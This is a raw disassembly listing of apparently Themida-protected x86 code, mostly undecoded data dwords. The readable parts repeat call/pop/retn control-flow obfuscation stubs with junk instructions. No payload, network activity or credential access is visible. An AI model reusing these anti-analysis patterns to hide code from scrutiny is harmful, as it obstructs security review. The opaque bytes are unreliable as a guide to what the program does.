enter 615h, 8Bh
mov ebp, 6121829h
sub [ebp+61204B5h], ecx
call dword ptr [ebp+6121AA9h]
stc
mov esi, [ebp+615C806h]
push 0
push eax
call sub_58CF79
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58CF79 proc near ; CODE XREF: Themida_:0058CF71p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58CF79 endp
; ---------------------------------------------------------------------------
db 0Ch, 14h, 0FFh
dd 56C999F4h, 6C77950h, 10001h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0A1C35141h, 999509FFh, 5006121Fh
dd 0BA605250h, 2E264C9Ch, 28E8CCBBh, 310F6109h, 11E9h
dd 50218A00h, 0D2F9981Ah, 0B79314D0h, 1715A7F9h, 585AF5D6h
dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 9B16C355h, 782AC62Ch, 0B5FF301Ah
dd 615C812h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 73C35040h, 0FF45A5D5h, 4CC9FFh, 11E9DEh, 94960000h
dd 0F64BD5Bh, 0EEF72340h, 82819643h, 0FF7F0C67h, 121C0595h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 3428AB30h, 8E9F9h, 0D9DF0000h, 7BE11A6Bh
dd 0B58B8084h, 615C806h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0E4C35646h, 0DE8B8131h, 9F0E1205h, 0A5858BA5h
dd 0E8061201h, 6, 0B6452290h, 9D89B2DFh, 6120199h, 0C486895Fh
dd 51000000h, 23C99D89h, 8B5B0612h, 1209A195h, 0CB816606h
dd 0E3813156h, 0DB6F8EFh, 6604C283h, 899AB6BFh, 0B7532050h
dd 858D5FB4h, 615DC6Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 8C35141h, 0CA9019AFh, 83FB08C4h, 0B88689h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 93E59BC3h, 8B422676h, 6A006AD9h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 8884C355h, 8E0F2CCAh, 6, 2F89BD29h, 9D8B0612h, 6122DD1h
dd 0FFD88B66h, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FFFE8BA7h
dd 1206A595h, 8D2B6006h, 6121A41h, 509661FCh, 0A6FA56BBh
dd 66505B5Dh, 960D29BFh, 0F4CF8166h, 12B5FF6Ah, 6A0615C8h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0FFF0C356h, 12028195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4CE165B8h
dd 83001058h, 122A09BDh, 840F0006h, 76h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 15h, 0D2C35040h, 999D8B44h
dd 0F061205h, 8Dh, 0DE95000h, 0CC000000h, 3594B863h, 14428D92h
dd 0E4ED9185h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 995FC352h, 13D5A992h
dd 0CE89C50h, 0E7000000h, 8BEAA558h, 38E55E09h, 0B7EA86C4h
dd 0B5FF5FDBh, 615C812h, 0FFF7EF80h, 1218C195h, 94EB8006h
dd 0C812B5FFh, 95FF0615h, 6121BA1h, 8A0FF860h, 5, 13F18166h
dd 0BD8361D8h, 6121EB1h, 32840F02h, 81000000h, 0D1C2F4F3h
dd 0A5858B39h, 6A061203h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 24CEC351h, 0A427B90Eh
dd 0C6AE40h, 5985C700h, 6121Bh, 66000000h
db 0BFh, 34h, 4Eh
; ---------------------------------------------------------------------------
loc_58D303: ; CODE XREF: Themida_:0058CEE6j
; Themida_:0058CF27j
jmp near ptr dword_58C4A4+2C4h
; ---------------------------------------------------------------------------
mov ebx, ecx
mov eax, ecx
push 0
push edx
call sub_58D317
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D317 proc near ; CODE XREF: Themida_:0058D30Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_58D317 endp
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
cmp [edi+53362AFCh], ecx
mov edi, [ebp+6120661h]
pop ebx
lea eax, [ebp+6122E01h]
mov ebx, [ebp+6120539h]
nop
push eax
mov di, 2743h
nop
pusha
mov esi, ecx
jg loc_58D354
movsx edx, cx
loc_58D354: ; CODE XREF: Themida_:0058D34Bj
popa
push 0
mov edi, [ebp+6121309h]
mov ebx, [ebp+6121EA5h]
push 0
push 0
push ebp
call sub_58D370
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D370 proc near ; CODE XREF: Themida_:0058D368p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_58D370 endp
; ---------------------------------------------------------------------------
dd 8F71D240h, 8D8CBFC4h, 166B3A85h, 99858906h, 8306122Ah
dd 0BD0105C0h, 6122A75h, 13E850h, 0E8290000h, 0FF98F5Ch
dd 173B728Fh, 5C15AA6Ch, 32D4162Ah, 5FFC8ABBh, 6A240489h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0E8EFC351h, 0Fh, 0FC4B5718h, 0A562CB46h
dd 0D457FBACh, 0BF115DCDh, 15F54E0Ah, 6A006A5Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0E162C351h, 384C4173h, 6AD88Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 79C35646h, 8B514B3Ah, 12036DBDh
dd 0B595FF06h, 6A06120Dh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 47D3C350h, 66E5E222h
dd 8DEF15BFh, 15AF028Dh, 0FFDE8A06h, 52006AD1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AABAC08Eh
dd 0CDC0D381h, 83F52F08h, 1207ADBDh, 850F0106h, 0ACh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 1517FA4Fh
dd 28B2AD87h, 860F6035h, 10h, 0BE9h, 95725900h, 43B6D1C5h
dd 2458401Eh, 9D9D8B61h, 6A061218h, 52006A02h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0B4D8C74Bh
dd 0C1D73059h, 0D3816619h, 66902853h, 50A09CBBh, 3840Fh
dd 8B660000h, 6A90DFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 8589BEC3h, 612035Dh, 6A595FFh, 0CB810612h
dd 5358BDC4h, 0DE8E9h, 0E800h, 815D0000h, 166B44EDh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 501453Fh, 89BEEB80h, 121E6185h, 37858D06h, 0F9061594h
dd 11E890h, 0EEF90000h, 0A3132E4Dh, 8652D54Eh, 5D9B2DD8h
dd 0B3B13A9Fh, 0BB505F22h, 29D960E8h, 899D8B90h, 6406120Eh
dd 35FFh, 14E90000h, 45000000h, 0CAAF6311h, 37E17E59h
dd 9F138A36h, 7EC68850h, 64808230h, 2589h, 95890000h, 6121061h
dd 67985FFh, 9D010612h, 6121D59h, 6AFF6Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0CA72AC3h
dd 482A763Fh, 95CB8188h, 0FF2D357Fh, 121B85B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 4ED34501h, 0EAF50205h, 30A98589h, 8B660612h, 0B595FFD8h
dd 0E906122Ch, 0F0h, 10D9D8Bh, 0B00612h, 8C58589h, 70E60612h
dd 0E4F88B66h, 613CF571h, 0D2830Fh, 9D8B0000h, 612231Dh
dd 0E9C8B60Fh, 13h, 51CA17B9h, 9E5FD0C3h, 0E1C6D59Ah, 0F8FE606Fh
dd 0BA3784C0h, 6, 10A1BD89h, 6E90612h, 99000000h, 0BC8C8CFCh
dd 8AC18B2Eh, 4E8C1FDh, 0F7667AB3h, 0DD8D29E2h, 2B061215h
dd 7CF381C8h, 8B08934Fh, 0F78166D1h, 1E9D76Ah, 0F9000000h
dd 30A1858Bh, 0AEB30612h, 907C083h, 12152585h, 0C08306h
dd 1BC9BD89h, 8D890612h, 6122EFDh, 830FD03Bh, 13h, 38C0Fh
dd 0E7800000h, 3EE953h, 81660000h, 8B19AEEFh, 12051D8Dh
dd 0DF8B6606h, 0F01E183h, 2784h, 799D8B00h, 83061204h
dd 12051DA5h, 8952FE06h, 122685B5h, 89F85B06h, 1230A195h
dd 0B99D0B06h, 0E9061207h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+615F8B8h]
xor [ebp+6121C3Dh], esi
push 0
push 0
push eax
call sub_58D761
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D761 proc near ; CODE XREF: Themida_:0058D759p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_58D761 endp
; ---------------------------------------------------------------------------
mov ebx, 146D78B3h
fcompp st, st
adc eax, 2B2BB66h
call dword ptr [ebp+61219CDh]
push 0
push ebp
call sub_58D78E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D78E proc near ; CODE XREF: Themida_:0058D786p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_58D78E endp
; ---------------------------------------------------------------------------
jbe short loc_58D7FC
mov ecx, 752h
stc
and ecx, 0FFFFFFFCh
push 0
push ebp
call sub_58D7B4
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D7B4 proc near ; CODE XREF: Themida_:0058D7ACp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_58D7B4 endp
; ---------------------------------------------------------------------------
dd 99D1BB63h, 0BD8B43F3h, 6120155h, 15BD29FCh, 0B806122Eh
dd 0
; ---------------------------------------------------------------------------
movzx ebx, di
sub edx, edx
push 0
push ebx
call sub_58D7EC
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D7EC proc near ; CODE XREF: Themida_:0058D7E4p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_58D7EC endp
; ---------------------------------------------------------------------------
loc_58D7FC: ; CODE XREF: Themida_:0058D79Ej
dec ebx
cmpsb
jle loc_58D80A
xor [ebp+6120DD1h], esi
loc_58D80A: ; CODE XREF: Themida_:0058D7FEj
; Themida_:0058D814j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_58D80A
push 0
push esi
call sub_58D821
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D821 proc near ; CODE XREF: Themida_:0058D819p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_58D821 endp
; ---------------------------------------------------------------------------
db 0A4h, 0F3h, 0E8h
dd 0F44C5D76h, 9D29C714h, 6122F11h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0E1C35646h, 0E889CB83h, 81666ABCh
dd 0D2D3BCBh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 95C35343h, 6890Fh, 95890000h, 6121925h
dd 9A1958Bh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 4F9659C3h, 13E9h, 83B61100h, 7A775676h
dd 9C0F70B0h, 0AF5C080Fh, 4D15E54Dh, 5058D8Bh, 6A0612h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 9C9F2FC3h, 3CE014BFh, 50BEB273h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0B67AF512h
dd 31180226h, 122D9DB5h, 21BD8306h, 61221h, 88840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 9FD14CC3h, 73F0020Eh, 0B8h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A0D26940h
dd 0B1D03522h, 0BD8B4F06h, 612297Dh, 4DB58D8Dh, 6A0612h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 249282C3h, 0E799D8Bh, 9D0B0612h, 61230C1h, 0B357E1FFh
dd 0BD835BFCh, 6121BD9h, 17840F00h, 6A000004h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0A658C351h, 6ED36532h, 0CD9D8951h, 8306120Eh, 121BD9BDh
dd 840F0106h, 3FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 59C35343h, 0D9BD83F9h, 306121Bh, 39D860Fh
dd 0BD8B0000h, 6120D25h, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0C5254FC7h, 2E88BB21h
dd 8C665583h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 27C6862h, 4E18006h, 11E856h, 0A7660000h
dd 93189638h, 0D37B163Bh, 0E9E8ACA4h, 23304E84h, 121F519Dh
dd 0A5F5B06h, 36840FC9h, 66000001h, 0BD2BF381h, 308D858Bh
dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0F1E716C3h, 80E1E874h, 816684CBh, 336DC9CBh
dd 12316585h, 4895006h, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0CB39ED64h, 39444B1Fh
dd 0FE9C61Ch, 0A5000000h, 0E2E5C804h, 69855C3Eh, 0B776E22Dh
dd 6ABF02h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 51C35747h, 0F58D894Eh, 0E906121Ah, 0Ch, 5AE35895h
dd 9CB096C0h, 86B150DEh, 3EC3EF68h, 81FA8B0Ah, 0C0102434h
dd 0B5890A21h, 6121E95h, 237995FFh, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F229C8C3h
dd 440122F4h, 0FA8B200Fh, 0BE8h, 0FD526200h, 41E7E68Eh
dd 36ED7B78h, 311D9D29h, 895B0612h, 15C81285h, 0DFBF0F06h
dd 167E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0BB9DA4Dh, 8BE33AE1h, 0A858BFAh
dd 660615C8h, 0C7BE2CBBh, 1800h, 0A9BD8B00h, 8B061206h
dd 15C80EB5h, 82BB6606h, 0B9858B2Eh, 6A06122Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 50C5C351h, 0B8359A7Eh, 8920F9E6h, 120A0D9Dh, 71B52906h
dd 89061229h, 81A2B706h, 29AFDEEFh, 8D858B37h, 1061230h
dd 12065DBDh, 4468906h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 8CC35646h, 68BEE922h, 67EA69C8h, 8973B350h
dd 9D8B2434h, 61217BDh, 0C80AB5FFh, 6A0615h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 940634C3h
dd 1FBF320Bh, 665AFE89h, 2F95D781h, 0C047E168h, 2FB3BFCCh
dd 4816A98h, 5EBC1E24h, 0B8666033h, 8D61DCE3h, 15C81285h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0C4A54AE9h, 0DE91Dh, 0C5E80000h, 374CC6F6h
dd 0A472BBBh, 50677CBBh, 0DE9h, 0E1F16A00h, 0DFC69BA0h
dd 313C3E42h, 489E3E9h, 0DAB70F24h, 237995FFh, 0C7810612h
dd 73213E43h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 8984321Fh, 1223298Dh, 0D985C706h
dd 306121Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0E94AC357h, 12h, 0A5FB6A5Ah
dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 9D8B716Ch, 6122FFDh
dd 0C812BD83h, 0F000615h, 3684h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0A4797562h
dd 17D9BD8Bh, 0E7810612h, 14E843A8h, 21E9h, 0FDB58900h
dd 5006122Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0DA85EFC3h, 89F61E81h, 0BBFB8B6Dh
dd 719B4929h, 1BD9BD83h, 0F030612h, 4B685h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 75CBBF19h, 0BE464968h, 7DBD89AFh, 83061229h, 15C812BDh
dd 840F0006h, 47Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 4C35141h, 0E97873C2h, 0Dh, 0D3E49FC7h
dd 57077DFFh, 5E20280h, 12B5FF6Eh, 660615C8h, 744DE781h
dd 1AA995FFh, 8A0F0612h, 0Ch, 68C0Fh, 9D890000h, 61208ADh
dd 0C806B58Bh, 0D88B0615h, 106C7h, 0F98B0001h, 11E85096h
dd 0A2000000h, 13059908h, 26600740h, 0EA511304h, 0C989CAFFh
dd 0DA8B6657h, 89965F5Bh, 1209CDB5h, 12B5FF06h, 0FF0615C8h
dd 121C0595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 2776D22Fh, 660037DBh, 8B8CB8BFh
dd 15C806B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 63CB4D0Dh, 0AE7ABDE9h, 8BDF8BB1h
dd 1201A585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0BD8B95CFh, 6123155h, 0C48689h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 77B6ADC3h, 0F4509BDAh, 8118F5C8h, 0BC78C9F3h, 0C59D0961h
dd 8B061211h, 1209A195h, 0EB816606h, 0BF0FBB66h, 4C283DAh
dd 0D74BE3BFh, 11E842h, 412C0000h, 6491CA57h, 0AE2369A3h
dd 4CE839B8h, 0F1F4411h, 895BF9BFh, 6A2050h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8A47ABC3h
dd 0F99356CAh, 4DB589CBh
dd 89061201h, 122FE59Dh, 6F858D06h, 6A0615DCh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 14B2C355h, 385E1235h, 0D4589097h, 0A8FF381h, 86894C73h
dd 0B8h, 5E9h, 77253100h, 6AD003h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0C8C35141h, 8E2FBEC6h, 113DE840h
dd 0EE9CBh, 8E840000h, 1BB9CA0Fh, 66194D1Bh, 3546DE1Ah
dd 0C812B5FFh, 7E80615h, 31000000h, 87B83CF7h, 0FF5BEF16h
dd 1206A595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0A3AA0AF4h, 8ACFFAD7h, 525096F8h
dd 0FFB8B66h, 66525031h, 310FF98Bh, 585A6160h, 0E950585Ah
dd 13h, 66BD3D1Ch, 0F9CA4FE6h, 0F132DA3Ch, 0DA8485D9h
dd 96784AEAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0A9C35646h, 830FEAE7h, 6, 2A21B589h, 0B5FF0612h
dd 615C812h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0BAC35040h, 0BD8B5CBCh, 6121A31h, 28195FFh, 24BF0612h
dd 834A20B2h, 122A09BDh, 840F0006h, 37h, 7CA3CF81h, 66505ED2h
dd 3489D98Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 84EFAE10h, 94197B84h, 0A1BD8BA4h
dd 0FF06120Ch, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0BC7C42E5h
dd 0AE9F63Eh, 0C1BD898Dh, 0FF061210h, 1218C195h, 0D9D8906h
dd 0FF061231h, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6651938Eh
dd 7E3BEB81h, 1BA195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 1449D6C3h, 347A839Ah
dd 8D9D8B60h, 50061205h, 835BFA8Bh, 121EB1BDh, 840F0206h
dd 7Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
dd 11C35141h, 0DE8B0BCAh, 69DB589h, 858B0612h, 61203A5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A7C35343h
dd 4063D40Dh, 0E943CF37h, 7, 0F0035780h, 0C69DE22Ah, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0C73388C3h, 121B5985h, 6, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0DD21C14Fh
dd 0E9F8632Eh, 0FFFFF2D8h, 8BD88B66h, 53006AC1h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 8B66D38Ch, 1858DD9h, 0F06122Eh, 384h, 0FABF0F00h, 24048950h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0ACC35747h
dd 6FE55FBDh, 6A5063E4h, 98D78100h, 6A17E4D9h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 5260A7A0h, 0AE9h, 7E54B400h, 790802B6h, 58F8CDB1h, 8E0Fh
dd 9610000h, 12000D85h, 45853106h, 8D061229h, 167B2185h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 5C083CAh, 5AEF8166h, 8E0F50D5h, 5, 1498E4BFh
dd 2404894Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0A4C35242h, 5E96F615h, 0BF664394h, 6AB93Bh, 6AD88Ah
dd 9529FB8Bh, 61203E9h, 0DB595FFh, 83B70612h, 0AF028D8Dh
dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0AFEA61C3h, 70A636EBh, 0C3816665h, 0D1FF55BCh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 53C35040h
dd 81660EFCh, 8354BBDFh, 1207ADBDh, 850F0106h, 0A3h, 0DE9h
dd 8AC30300h, 0DADB2C7Eh, 0E0493A07h, 26AEEDBh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CBC35141h, 0C245B67Bh
dd 18E0FEAh, 0F8000000h, 0E9525050h, 11h, 0C8CE1F28h, 98A9FF9Fh
dd 623A265Eh, 5F17B47Eh, 5A310F9Fh, 24048958h, 10E8h, 11679D00h
dd 4ECF8CADh, 84F5BC49h, 0AFEC00CAh, 95FF5B1Dh, 61206A5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DDC35646h
dd 0BD9CA592h, 4E2349CFh, 559D0B55h, 0E9061220h, 0DF2h
dd 0E8h, 0ED815D00h, 6167B2Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0D6C35343h, 0D88B6673h, 8DFFB70Fh
dd 15943785h, 6090F806h, 0CDD6B860h, 0E86134B4h, 0Ah, 0B85F5A70h
dd 5132FAD0h, 0CE9585Bh, 39000000h, 7180FCEDh, 0C69C38CDh
dd 5F1BBE1Ah, 8E95061h, 7E000000h, 6F55F49Bh, 90575014h
dd 5DC012BFh, 35FF646Dh, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58E5C3
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E5C3 proc near ; CODE XREF: Themida_:0058E5BBp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_58E5C3 endp
; ---------------------------------------------------------------------------
db 0E9h
dd 0DA4B75E4h, 2C2DBD8Bh, 89640612h, 25h, 0E1850900h, 0FF061217h
dd 12067985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 834E294Ch, 0E9A51E0Eh, 6, 11D53796h
dd 0BD89E293h, 6121019h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 5A4D42C3h, 1E336F8Ah
dd 1AB19D8Bh, 0B5FF0612h, 6121FC9h, 0D1CB8166h, 0B595FF50h
dd 0E906122Ch, 115h, 0EE9h, 0B7743600h, 43E44F20h, 1DBBF144h
dd 0B01D2306h, 0ADBD8900h, 0E6061222h, 7D9D8B70h, 306121Fh
dd 121FB59Dh, 6671E406h, 3C802CBBh, 0DE830F61h, 60000000h
dd 1CCD9D89h, 8E80612h, 0D5000000h, 2C8FE935h, 17D935Ah
dd 12095D85h, 0F615E06h, 0BF66C8B6h, 6BA51C1h, 8B000000h
dd 3C18BDAh, 121C89BDh, 4E8C106h, 8BDF8166h, 3152512Fh
dd 1221299Dh, 665B5B06h, 8166E2F7h, 2BA1C5E7h, 6880FC8h
dd 0F000000h, 8Eh, 66D18B00h, 4006EB81h, 6E9h, 0C0F78100h
dd 8B026EA0h, 122A3585h, 23BF6606h, 7C0830Bh, 0EFD9D8Bh
dd 0C0830612h, 0FD03B00h, 1083h, 4D9D8900h, 0E9061200h
dd 49h, 0D38166h, 0B18D8BA0h, 0E806121Ch, 0Dh, 8507CB41h
dd 60A79EE2h, 0DFF07E86h, 0F99D0B4Ch, 5B061210h, 0F01E183h
dd 1C84h, 0F1BB6600h, 0B1A583D9h, 0FE06121Ch, 359589F5h
dd 6606122Ah, 0C91FCF81h, 0E9h, 7CB58D00h, 50061601h, 6A5FBAB3h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0F8FC4383h, 19CD95FFh, 11E90612h, 0EC000000h
dd 0F52700CBh, 0FBEA757Dh, 71A5F925h, 0C5078B78h, 993B9h
dd 0DF815700h, 52147172h, 3D9D315Bh, 83061207h, 6AFCE1h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 8DCB97C3h, 5DCE9A61h, 9BD8914h, 0E906120Eh, 0Eh, 5502A500h
dd 94C60EDh, 156A1499h, 6AFC4D9Ch, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 13DFC355h
dd 264B5182h, 0B6FEF64Dh, 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 4F4DC9C3h, 504BDB2Bh
dd 0BAC784h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0D7BFC353h, 231420F6h
dd 0F971D46Bh, 8D01D88Bh, 61211E9h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 80C35545h, 0E2C20D1Dh, 3CB07645h, 5E8h, 0DF8A100h
dd 0CB807C6Fh, 0BD8B5F4Fh, 6121321h, 880Fh, 880D0000h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 12CCC353h, 5E8AA3AFh, 0BD89AC20h
dd 61220BDh, 9A1958Bh, 9D230612h, 6120DA5h, 5058D8Bh, 6A0612h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 8B5015C3h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
